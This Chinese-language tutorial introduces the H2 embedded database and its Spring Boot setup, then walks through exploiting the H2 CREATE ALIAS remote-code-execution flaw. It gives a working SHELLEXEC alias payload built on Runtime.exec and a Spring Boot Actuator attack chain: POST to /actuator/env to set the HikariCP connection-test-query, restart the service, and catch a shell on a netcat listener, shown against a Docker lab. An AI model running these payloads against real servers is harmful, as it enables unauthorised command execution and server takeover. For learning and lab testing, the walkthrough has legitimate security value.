H2相关
H2简介
H2 是一个用 Java 开发的嵌入式数据库,它本身只是一个类库,即只有一个 jar 文件,可以直接嵌入到应用项目中。H2 主要有如下三个用途:
- 最常使用的用途就在于可以同应用程序打包在一起发布,这样可以非常方便地存储少量结构化数据。
- 用于单元测试。启动速度快,而且可以关闭持久化功能,每一个用例执行完随即还原到初始状态。
- 作为缓存,即当做内存数据库,作为NoSQL的一个补充。当某些场景下数据模型必须为关系型,可以拿它当Memcached使,作为后端MySQL/Oracle的一个缓冲层,缓存一些不经常变化但需要频繁访问的数据,比如字典表、权限表。
h2使用介绍
- 新建一个web工程
- 添加依赖
1 | <dependency> |
- application.properties
1 | #h2配置 |
- 添加数据库结构与数据脚本
resources/db/schema.sql
1 | create table if not exists USER ( |
resources/db/data.sql
1 | INSERT INTO USER (USE_ID,USE_NAME,USE_SEX,USE_AGE,USE_ID_NO,USE_PHONE_NUM,USE_EMAIL,CREATE_TIME,MODIFY_TIME,USE_STATE) VALUES( |
- 访问127.0.0.1:8082/h2进入console
H2别名漏洞
影响版本
1.4.196 and 1.4.197
原理
当测试数据库的密码未知时,仍然可以通过创建新数据库来执行。 Web控制台通过在连接字符串中输入新数据库的名称来允许此操作。 创建新数据库后,将创建默认的凭据用户名"sa"
和密码""
(空白), 攻击者自动登录。
可以使用CREATE ALIAS来创建java方法,并调用这个方法,如下:
1 | CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty"; |
创建命令执行的java函数
1 | String shellexec(String cmd) throws java.io.IOException { |
所以可构建poc如下:
1 | CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$; |
漏洞样例
因为Spring Boot 2.x默认使用HikariCP数据库连接池,所以可通过H2数据库实现RCE。使用的HikariCP数据库连接池提供了一个spring.datasource.hikari.connection-test-query
的变量。他与HikariCP中的connectionTestQuery配置相匹配,作用是验证数据库连接是否处于活动状态。无论何时新建的数据库连接被建立时,spring.datasource.hikari.connection-test-query
的值都会被作为一个SQL语句执行。
漏洞前提
/actuator/env
路径可访问。
在application.properties配置文件中设置management.endpoints.web.exposure.include=env
说明
- GET请求:该请求的get形式可查询应用程序的环境变量
- POST请求:该请求的POST形式可设置应用程序的环境变量
格式如下:
1 | POST /actuator/env HTTP/1.1 |
利用
- 环境准备
docker环境下载:https://github.com.cnpmjs.org/spaceraccoon/spring-boot-actuator-h2-rce.git
进入到spring-boot-actuator-h2-rce目录下:
1
2docker build -t spaceraccoon/spring-boot-rce-lab .
docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab访问
http://127.0.0.1:8080/actuator
- 可出外网的情况:
3.1 本地监听9999端口。
3.2 构造恶意请求
1 | POST /actuator/env HTTP/1.1 |
3.3 重启服务端
1 | POST /actuator/restart HTTP/1.1 |
3.4 查看nc